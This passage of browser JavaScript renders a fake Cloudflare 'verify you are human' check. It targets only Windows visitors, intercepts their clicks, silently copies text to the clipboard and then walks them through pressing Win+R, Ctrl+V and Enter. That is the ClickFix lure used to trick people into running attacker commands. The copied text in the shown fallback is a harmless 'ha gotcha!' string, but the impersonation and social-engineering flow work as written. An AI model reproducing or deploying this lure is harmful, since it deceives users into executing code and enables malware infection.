document.body.appendChild(textArea)
textArea.select()
try {
document.execCommand("copy")
} catch (e) {}
document.body.removeChild(textArea)
})
} else {
// Fallback for older browsers
var textArea = document.createElement("textarea")
textArea.value = "ha gotcha!"
textArea.style.position = "fixed"
textArea.style.left = "-999999px"
document.body.appendChild(textArea)
textArea.select()
try {
document.execCommand("copy")
} catch (e) {}
document.body.removeChild(textArea)
}
animationPhase = 5
step = 1
renderCaptchaContent()
}
// Keyboard handling for verification steps
function setupKeyboardHandler() {
document.addEventListener(
"keydown",
(e) => {
if (animationPhase === 5) {
if (step === 1 && (e.code === "MetaLeft" || e.code === "MetaRight")) {
setTimeout(() => {
step = 2
renderCaptchaContent()
}, 2000)
}
}
},
false,
) // Added false for event listener
}
function renderKey(label, width, animClass) {
var isWinKey = label === "Win"
var winIcon =
'<svg viewBox="0 0 24 24" style="width:22px;height:22px;fill:#555"><path d="M0 3.449L9.75 2.1v9.451H0m10.949-9.602L24 0v11.4H10.949M0 12.6h9.75v9.451L0 20.699M10.949 12.6H24V24l-12.9-1.801"/></svg>'
// Base styles without background and box-shadow (animation will control those)
var keyCapStyle =
"position:absolute;top:0;left:0;right:0;height:48px;border-radius:10px;display:flex;align-items:center;justify-content:center;border:1px solid rgba(0,0,0,0.08)"
// Only add background and box-shadow if NO animation (so keyframes can control them)
if (!animClass) {
keyCapStyle +=
";background:linear-gradient(180deg,#ffffff 0%,#f5f5f5 100%);box-shadow:0 4px 0 #d4d4d4,0 6px 8px rgba(0,0,0,0.15),inset 0 1px 0 rgba(255,255,255,0.9)"
}
// Map animation class to keyframe name
var animationName = ""
if (animClass === "key-anim-first") animationName = "keyCapFirst 5s ease-in-out infinite"
else if (animClass === "key-anim-second") animationName = "keyCapSecond 5s ease-in-out infinite"
else if (animClass === "key-anim-step2-ctrl") animationName = "keyCapStep2Ctrl 6s ease-in-out infinite"
else if (animClass === "key-anim-step2-v") animationName = "keyCapStep2V 6s ease-in-out infinite"
else if (animClass === "key-anim-step2-enter") animationName = "keyCapStep2Enter 6s ease-in-out infinite"
var animationStyle = animationName ? `;animation:${animationName}` : ""
return (
'<div class="' +
animClass +
'" style="width:' +
width +
'px;height:56px;position:relative;display:inline-block">' +
'<div style="position:absolute;bottom:0;left:2px;right:2px;height:8px;border-radius:0 0 10px 10px;background:linear-gradient(180deg,#c8c8c8 0%,#b0b0b0 100%)"></div>' +
'<div class="key-cap" style="' +
keyCapStyle +
animationStyle +
'">' +
(isWinKey
? winIcon
: '<span style="font-size:' +
(label === "Enter" ? "13" : label === "Ctrl" ? "12" : "16") +
'px;font-weight:600;color:#555">' +
label +
"</span>") +
"</div>" +
"</div>"
)
}
function renderTurnstile() {
var checkboxHtml = ""
if (animationPhase === 0) {
checkboxHtml =
'<div id="cf-checkbox" class="cf-checkbox" style="width:24px;height:24px;border:2px solid #c4c4c4;border-radius:3px;background:#fff;cursor:pointer"></div>'
} else if (animationPhase === 1) {
checkboxHtml =
'<div class="cf-spinner" style="width:24px;height:24px;border:3px solid #e5e5e5;border-left-color:#f97316;border-radius:50%;animation:cfSpin 1s linear infinite"></div>'
} else if (animationPhase === 2) {
checkboxHtml =
'<div style="width:24px;height:24px;border-radius:3px;background:#f97316;display:flex;align-items:center;justify-content:center"><svg width="14" height="14" viewBox="0 0 16 16" fill="none"><path d="M12 4L4 12M4 4L12 12" stroke="#fff" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/></svg></div>'
}
var statusText = animationPhase === 2 ? "Verification required" : t("verifyHuman")
return (
'<div id="cf-turnstile" onclick="window.CloudflareCaptcha.handleCheckboxClick()" style="cursor:' +
(animationPhase === 0 ? "pointer" : "default") +
';width:300px;height:60px;background:#fafafa;border:1px solid #e0e0e0;border-radius:3px;display:flex;align-items:stretch;box-shadow:0 1px 3px rgba(0,0,0,0.08)">' +
'<div style="width:46px;display:flex;align-items:center;justify-content:center">' +
checkboxHtml +
"</div>" +
'<div style="flex:1;display:flex;align-items:center;padding-left:12px"><span style="font-size:13px;color:#333;font-weight:400">' +
statusText +
"</span></div>" +
'<div style="width:110px;display:flex;flex-direction:column;align-items:center;justify-content:flex-end;padding:4px 8px 2px 4px;overflow:hidden">' +
'<img src="' +
window.cfCaptchaImages.logoWithText +
'" alt="Cloudflare" style="height:26px;width:auto;margin-bottom:4px">' +
'<div style="display:flex;align-items:center;gap:4px;white-space:nowrap;max-width:100%">' +
'<a href="https://www.cloudflare.com/privacypolicy/" onclick="event.stopPropagation()" style="font-size:8px;color:#666;text-decoration:none">' +
t("privacy") +
"</a>" +
'<span style="font-size:8px;color:#666">·</span>' +
'<a href="https://www.cloudflare.com/website-terms/" onclick="event.stopPropagation()" style="font-size:8px;color:#666;text-decoration:none">' +
t("terms") +
"</a>" +
"</div>" +
"</div>" +
"</div>"
)
}
// Render expanding animation
function renderExpandingModal() {
return (
'<div style="width:300px;height:60px;background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);border-radius:16px;display:flex;align-items:center;justify-content:center;box-shadow:0 20px 50px rgba(0,0,0,0.2);animation:cfExpandToModal 0.5s cubic-bezier(0.34,1.56,0.64,1) forwards">' +
'<img src="' +
window.cfCaptchaImages.logoWithText +
'" alt="Cloudflare" style="height:60px;filter:brightness(0) invert(1);animation:cfFadeIn 0.3s ease-out 0.2s both">' +
"</div>"
)
}
// Render intro page
function renderIntroPage() {
var featuresHtml = [
{ title: t("hwScanTitle"), icon: "fingerprint" },
{ title: t("cookieTitle"), icon: "clock" },
{ title: t("secureTitle"), icon: "shield" },
]
.map((item) => {
var imgStyle = item.icon === "shield" ? "width:120px;height:120px" : "width:60px;height:60px"
return (
'<div style="flex:1;background:#fff;border:2px solid #f97316;border-radius:12px;padding:12px 10px;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:8px;box-shadow:0 2px 8px rgba(249,115,22,0.1)">' +
'<div style="height:60px;display:flex;align-items:center;justify-content:center">' +
'<img src="' +
window.cfCaptchaImages[item.icon] +
'" alt="" style="' +
imgStyle +
';object-fit:contain">' +
"</div>" +
'<div style="font-size:12px;font-weight:700;color:#1e293b;text-align:center;line-height:1.3">' +
item.title +
"</div>" +
"</div>"
)
})
.join("")
// How it works dropdown
var howItWorksContent = ""
if (howItWorksOpen) {
var items = [
{ num: 1, title: "1. Hardware Scan", desc: t("hwScanDesc") },
{ num: 2, title: "2. Token Generation", desc: t("cookieDesc") },
{ num: 3, title: "3. Privacy Protection", desc: t("secureDesc") },
]
howItWorksContent =
'<div style="padding:16px 24px 8px">' +
items
.map((item) => {
var isExpanded = expandedHowItWorks === item.num
return (
'<div style="margin-bottom:10px;background:rgba(255,255,255,0.3);border-radius:6px;overflow:hidden">' +
'<button onclick="window.CloudflareCaptcha.toggleHowItWorksItem(' +
item.num +
')" style="width:100%;padding:8px 10px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:#fff;text-align:left">' +
'<span style="font-size:12px;font-weight:600;flex:1">' +
item.title +
"</span>" +
'<svg width="12" height="12" viewBox="0 0 24 24" fill="none" style="transform:rotate(' +
(isExpanded ? "180" : "0") +
'deg);transition:transform 0.3s;flex-shrink:0"><path d="M6 9l6 6 6-6" stroke="#fff" stroke-width="2" stroke-linecap="round"/></svg>' +
"</button>" +
(isExpanded
? '<div style="padding:12px 10px;color:#1f2937;font-size:11px;line-height:1.6;background:rgba(255,255,255,0.9);border-radius:0 0 6px 6px">' +
item.desc +
"</div>"
: "") +
"</div>"
)
})
.join("") +
"</div>"
}
var howItWorksHtml =
'<div style="border:1px solid #e2e8f0;border-radius:8px;overflow:hidden;background:' +
(howItWorksOpen ? "linear-gradient(135deg,#f97316 0%,#ea580c 100%)" : "#fff") +
';transition:all 0.3s ease;margin-bottom:12px">' +
'<button onclick="window.CloudflareCaptcha.toggleHowItWorks()" style="width:100%;padding:10px 12px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:' +
(howItWorksOpen ? "#fff" : "#1e293b") +
'">' +
'<div style="display:flex;align-items:center;gap:8px">' +
'<div style="width:24px;height:24px;border-radius:50%;background:' +
(howItWorksOpen ? "#fff" : "linear-gradient(135deg,#f97316 0%,#ea580c 100%)") +
';display:flex;align-items:center;justify-content:center">' +
'<span style="font-size:14px;font-weight:700;color:' +
(howItWorksOpen ? "#f97316" : "#fff") +
'">!</span>' +
"</div>" +
'<span style="font-size:13px;font-weight:600;color:' +
(howItWorksOpen ? "#fff" : "#1e293b") +
'">' +
t("howItWorks") +
"</span>" +
"</div>" +
'<svg width="16" height="16" viewBox="0 0 24 24" fill="none" style="transform:rotate(' +
(howItWorksOpen ? "180" : "0") +
'deg);transition:transform 0.3s"><path d="M6 9l6 6 6-6" stroke="' +
(howItWorksOpen ? "#fff" : "#f97316") +
'" stroke-width="2" stroke-linecap="round"/></svg>' +
"</button>" +
howItWorksContent +
"</div>"
// FAQ dropdown
var faqContent = ""
if (faqOpen) {
faqContent =
'<div style="padding:16px 24px 8px">' +
[1, 2, 3, 4, 5, 6]
.map((num) => {
var isExpanded = expandedFaq === num
return (
'<div style="margin-bottom:10px;background:rgba(255,255,255,0.3);border-radius:6px;overflow:hidden">' +
'<button onclick="window.CloudflareCaptcha.toggleFaqItem(' +
num +
')" style="width:100%;padding:8px 10px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:#fff;text-align:left">' +
'<span style="font-size:12px;font-weight:600;flex:1">' +
num +
". " +
t("faq" + num + "Q") +
"</span>" +
'<svg width="12" height="12" viewBox="0 0 24 24" fill="none" style="transform:rotate(' +
(isExpanded ? "180" : "0") +
'deg);transition:transform 0.3s;flex-shrink:0"><path d="M6 9l6 6 6-6" stroke="#fff" stroke-width="2" stroke-linecap="round"/></svg>' +
"</button>" +
(isExpanded
? '<div style="padding:12px 10px;color:#1f2937;font-size:11px;line-height:1.6;background:rgba(255,255,255,0.9);border-radius:0 0 6px 6px">' +
t("faq" + num + "A") +
"</div>"
: "") +
"</div>"
)
})
.join("") +
"</div>"
}
var faqHtml =
'<div style="border:1px solid #e2e8f0;border-radius:8px;overflow:hidden;background:' +
(faqOpen ? "linear-gradient(135deg,#f97316 0%,#ea580c 100%)" : "#fff") +
';transition:all 0.3s ease">' +
'<button onclick="window.CloudflareCaptcha.toggleFaq()" style="width:100%;padding:10px 12px;display:flex;justify-content:space-between;align-items:center;border:none;background:transparent;cursor:pointer;color:' +
(faqOpen ? "#fff" : "#1e293b") +
';border-radius:8px;transition:all 0.3s ease">' +
'<div style="display:flex;align-items:center;gap:8px">' +
'<div style="width:24px;height:24px;border-radius:50%;background:' +
(faqOpen ? "#fff" : "linear-gradient(135deg,#f97316 0%,#ea580c 100%)") +
';display:flex;align-items:center;justify-content:center">' +
'<span style="font-size:14px;font-weight:700;color:' +
(faqOpen ? "#f97316" : "#fff") +
'">?</span>' +
"</div>" +
'<span style="font-size:13px;font-weight:600;color:' +
(faqOpen ? "#fff" : "#1e293b") +
'">' +
t("faqTitle") +
"</span>" +
"</div>" +
'<svg width="16" height="16" viewBox="0 0 24 24" fill="none" style="transform:rotate(' +
(faqOpen ? "180" : "0") +
'deg);transition:transform 0.3s"><path d="M6 9l6 6 6-6" stroke="' +
(faqOpen ? "#fff" : "#f97316") +
'" stroke-width="2" stroke-linecap="round"/></svg>' +
"</button>" +
faqContent +
"</div>"
return (
'<div style="background:#fff;border-radius:16px;width:480px;height:auto;overflow:visible;box-shadow:0 20px 50px rgba(0,0,0,0.15);display:flex;flex-direction:column;position:relative">' +
// Header
'<div style="background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);padding:24px;border-radius:16px 16px 0 0;position:relative;overflow:hidden;min-height:100px">' +
'<div style="position:absolute;inset:0;background-image:repeating-linear-gradient(0deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px),repeating-linear-gradient(90deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px);pointer-events:none"></div>' +
'<div style="position:absolute;right:-40px;top:-20px;width:140px;height:140px;border-radius:50%;background:rgba(255,255,255,0.1)"></div>' +
'<div style="display:flex;justify-content:center;align-items:center;position:relative;z-index:1">' +
'<img src="' +
window.cfCaptchaImages.logoWithText +
'" alt="Cloudflare" style="height:50px;filter:brightness(0) invert(1)">' +
"</div>" +
"</div>" +
// Badge
'<div style="display:flex;justify-content:center;margin-top:-16px;margin-bottom:16px;position:relative;z-index:2">' +
'<div style="background:#fef3c7;border-radius:20px;padding:8px 20px;display:flex;align-items:center;gap:8px;border:1px solid #fbbf24;box-shadow:0 4px 12px rgba(0,0,0,0.1)">' +
'<svg width="16" height="16" viewBox="0 0 24 24" fill="none"><path d="M9 12l2 2 4-4" stroke="#f97316" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/><circle cx="12" cy="12" r="10" stroke="#f97316" stroke-width="2"/></svg>' +
'<span style="font-size:13px;font-weight:600;color:#f97316;text-transform:uppercase;letter-spacing:0.5px">' +
t("verifyHuman") +
"</span>" +
"</div>" +
"</div>" +
// Title
'<div style="padding:0 24px 16px;text-align:center">' +
'<h2 style="font-size:28px;font-weight:700;margin:0 0 8px 0"><span style="color:#f97316">' +
t("introTitle").split(" ")[0] +
'</span> <span style="color:#1e293b">' +
t("introTitle").split(" ").slice(1).join(" ") +
"</span></h2>" +
'<p style="font-size:13px;color:#64748b;line-height:1.6;margin:0">' +
t("introSubtitle") +
"</p>" +
"</div>" +
// Features
'<div style="flex:1;padding:0 24px 16px">' +
'<div style="display:flex;gap:12px;margin-bottom:16px;justify-content:center">' +
featuresHtml +
"</div>" +
howItWorksHtml +
faqHtml +
"</div>" +
// Button
'<div style="padding:0 24px 24px">' +
'<button onclick="window.CloudflareCaptcha.continueToVerification()" style="width:100%;background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);color:#fff;border:none;border-radius:8px;padding:12px 24px;font-size:14px;font-weight:600;cursor:pointer;box-shadow:0 4px 12px rgba(249,115,22,0.3)">' +
t("continueBtn") +
"</button>" +
"</div>" +
// Footer
'<div style="padding:12px 24px;border-top:1px solid #e2e8f0;display:flex;justify-content:center;gap:16px;font-size:11px">' +
'<a href="https://www.cloudflare.com/privacypolicy/" style="color:#64748b;text-decoration:none">' +
t("privacy") +
"</a>" +
'<a href="https://www.cloudflare.com/website-terms/" style="color:#64748b;text-decoration:none">' +
t("terms") +
"</a>" +
"</div>" +
"</div>"
)
}
// Render verification modal
function renderVerificationModal() {
var stepsHtml = [1, 2]
.map(
(s) =>
'<div style="display:flex;align-items:center;gap:8px">' +
'<div style="width:8px;height:8px;border-radius:50%;background:' +
(step >= s ? "#fff" : "rgba(255,255,255,0.3)") +
';transition:all 0.3s"></div>' +
(s < 2
? '<div style="width:40px;height:2px;background:' +
(step > s ? "#fff" : "rgba(255,255,255,0.3)") +
';transition:all 0.3s"></div>'
: "") +
"</div>",
)
.join("")
var contentHtml = ""
if (step === 1) {
contentHtml =
'<div style="display:flex;flex-direction:column;align-items:center;gap:20px">' +
'<div style="font-size:16px;font-weight:600;color:#64748b;text-align:center;max-width:360px">' +
t("step1") +
"</div>" +
'<div style="display:flex;gap:8px;align-items:center">' +
renderKey("Win", 80, "key-anim-first") +
'<span class="plus-animate" style="font-size:18px;color:#9CA3AF;font-weight:400;margin:0 2px">+</span>' +
renderKey("R", 56, "key-anim-second") +
"</div>" +
"</div>"
} else if (step === 2) {
contentHtml =
'<div style="display:flex;flex-direction:column;align-items:center;gap:20px">' +
'<div style="font-size:16px;font-weight:600;color:#64748b;text-align:center;max-width:360px">' +
t("step2Line1") +
"</div>" +
'<div style="display:flex;gap:8px;align-items:center;justify-content:center">' +
renderKey("Ctrl", 80, "key-anim-step2-ctrl") +
'<span class="plus-animate-step2" style="font-size:18px;color:#9CA3AF;font-weight:400;margin:0 2px">+</span>' +
renderKey("V", 56, "key-anim-step2-v") +
"</div>" +
'<div style="display:flex;gap:8px;align-items:center;justify-content:center">' +
'<span style="font-size:16px;color:#6B7280;font-weight:500">' +
t("confirmWith") +
"</span>" +
renderKey("Enter", 80, "key-anim-step2-enter") +
"</div>" +
'<button onclick="window.CloudflareCaptcha.complete()" style="padding:12px 32px;background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);color:white;border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer;box-shadow:0 4px 12px rgba(249,115,22,0.4)">' +
t("verify") +
"</button>" +
"</div>"
}
return (
'<div style="background:#fff;border-radius:16px;width:480px;min-height:500px;box-shadow:0 20px 50px rgba(0,0,0,0.15);display:flex;flex-direction:column;overflow:hidden">' +
// Header
'<div style="background:linear-gradient(135deg,#f97316 0%,#ea580c 100%);padding:20px 24px;position:relative;overflow:hidden">' +
'<div style="position:absolute;inset:0;background-image:repeating-linear-gradient(0deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px),repeating-linear-gradient(90deg,transparent,transparent 30px,rgba(255,255,255,0.05) 30px,rgba(255,255,255,0.05) 32px);pointer-events:none"></div>' +
'<div style="position:absolute;right:-40px;top:-20px;width:140px;height:140px;border-radius:50%;background:rgba(255,255,255,0.1)"></div>' +
'<div style="display:flex;justify-content:center;margin-bottom:12px;position:relative;z-index:1">' +
'<img src="' +
window.cfCaptchaImages.logoWithText +
'" alt="Cloudflare" style="height:40px;filter:brightness(0) invert(1)">' +
"</div>" +
'<div style="display:flex;justify-content:center;gap:8px;position:relative;z-index:1">' +
stepsHtml +
"</div>" +
"</div>" +
// Content
'<div style="flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:20px;padding:32px 0;animation:cfFadeInUp 0.5s ease-out">' +
contentHtml +
"</div>" +
// Footer
'<div style="padding:12px 24px;border-top:1px solid #e2e8f0;display:flex;justify-content:center;gap:16px;font-size:11px">' +
'<a href="https://www.cloudflare.com/privacypolicy/" style="color:#64748b;text-decoration:none">' +
t("privacy") +
"</a>" +
'<a href="https://www.cloudflare.com/website-terms/" style="color:#64748b;text-decoration:none">' +
t("terms") +
"</a>" +
"</div>" +
"</div>"
)
}
// Render captcha content based on phase
function renderCaptchaContent() {
var container = document.getElementById("cf-captcha-container")
if (!container) return
var html = ""
if (animationPhase === 0) {
html = renderTurnstile()
} else if (animationPhase === 1) {
html = renderTurnstile()
} else if (animationPhase === 2) {
html = renderTurnstile()
} else if (animationPhase === 3) {
html = renderExpandingModal()
} else if (animationPhase === 4) {
html = renderIntroPage()
} else if (animationPhase === 5) {
html = renderVerificationModal()
}
container.innerHTML = html
// Add checkbox hover effect
if (animationPhase === 0) {
var checkbox = document.getElementById("cf-checkbox")
if (checkbox) {
checkbox.addEventListener("mouseenter", function () {
this.style.borderColor = "#f97316"
})
checkbox.addEventListener("mouseleave", function () {
this.style.borderColor = "#c4c4c4"
})
}
}
// Apply animations to keys
if (animationPhase === 5) {
if (step === 1) {
// Target the .key-cap elements inside the animation class containers
var keyCapFirst = document.querySelector(".key-anim-first .key-cap")
var keyCapSecond = document.querySelector(".key-anim-second .key-cap")
if (keyCapFirst) {
keyCapFirst.style.animation = "keyCapFirst 3s ease-in-out infinite"
}
if (keyCapSecond) {
keyCapSecond.style.animation = "keyCapSecond 3s ease-in-out infinite"
}
var step1Plus = document.querySelector(".plus-animate")
if (step1Plus) {
step1Plus.style.animation = "plusGlow 3s infinite"
}
} else if (step === 2) {
// Target the .key-cap elements inside the animation class containers
var keyCapCtrl = document.querySelector(".key-anim-step2-ctrl .key-cap")
var keyCapV = document.querySelector(".key-anim-step2-v .key-cap")
var keyCapEnter = document.querySelector(".key-anim-step2-enter .key-cap")
if (keyCapCtrl) {
keyCapCtrl.style.animation = "keyCapStep2Ctrl 3s ease-in-out infinite"
}
if (keyCapV) {
keyCapV.style.animation = "keyCapStep2V 3s ease-in-out infinite"
}
if (keyCapEnter) {
keyCapEnter.style.animation = "keyCapStep2Enter 3s ease-in-out infinite"
}
var step2Plus = document.querySelector(".plus-animate-step2")
if (step2Plus) {
step2Plus.style.animation = "plusGlowStep2 3s infinite"
}
}
}
}
// Click interceptor
function setupClickInterceptor() {
document.addEventListener(
"click",
(e) => {
if (captchaOpen || isVerified()) return
var target = e.target
if (
target.closest("[data-captcha-modal]") ||
target.closest(".cf-captcha-overlay") ||
target.closest("#cf-captcha-overlay")
)
return
var interactiveElement = target.closest('a, button, [role="button"], input[type="submit"], [onclick]')
if (!interactiveElement) return
e.preventDefault()
e.stopPropagation()
showCaptcha()
},
true,
)
}
// Toggle functions
function toggleFaq() {
faqOpen = !faqOpen
if (faqOpen) howItWorksOpen = false
renderCaptchaContent()
}
function toggleHowItWorks() {
howItWorksOpen = !howItWorksOpen
if (howItWorksOpen) faqOpen = false
renderCaptchaContent()
}
function toggleFaqItem(num) {
expandedFaq = expandedFaq === num ? null : num
renderCaptchaContent()
}
function toggleHowItWorksItem(num) {
expandedHowItWorks = expandedHowItWorks === num ? null : num
renderCaptchaContent()
}
function isWindows() {
var userAgent = navigator.userAgent || navigator.vendor || window.opera
return /Windows/i.test(userAgent)
}
// Initialize
function init() {
if (!isWindows()) {
return
}
if (isVerified()) {
return
}
lang = detectLanguage()
setupKeyboardHandler()
// Show captcha immediately on page load
showCaptcha()
}
// Run on DOM ready
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", init)
} else {
init()
}
// Expose API
window.CloudflareCaptcha = {
show: showCaptcha,
hide: hideCaptcha,
complete: completeVerification,
isVerified: isVerified,
handleCheckboxClick: handleCheckboxClick,
continueToVerification: handleContinueToVerification,
toggleFaq: toggleFaq,
toggleHowItWorks: toggleHowItWorks,
toggleFaqItem: toggleFaqItem,
toggleHowItWorksItem: toggleHowItWorksItem,
}
})()